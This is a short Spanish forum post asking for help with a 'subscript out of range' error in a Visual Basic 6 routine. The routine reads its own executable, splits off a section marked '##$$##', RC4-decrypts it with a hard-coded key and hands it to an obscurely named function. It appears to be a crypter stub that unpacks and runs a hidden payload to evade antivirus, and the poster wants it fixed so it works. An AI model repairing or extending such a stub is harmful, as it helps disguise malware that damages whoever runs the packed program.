¿Error 9 que hago mal gente? El subíndice esta fuera de intervalos

hola amigos podéis aconsejarme o decirme que hago mal en esta ejecución puesto que a veces no me a dado Sub Main()
Dim YO As String, Datos As String, sData() As String
YO = App.Path & "\" & App.EXEName & ".exe"
Open YO For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1
sData() = Split(Datos, "##$$##")
sData(1) = RC4(sData(1), "DarkJairo60026112")
PYYFLXN YO, StrConv(sData(1), vbFromUnicode), vbNullString
End Sub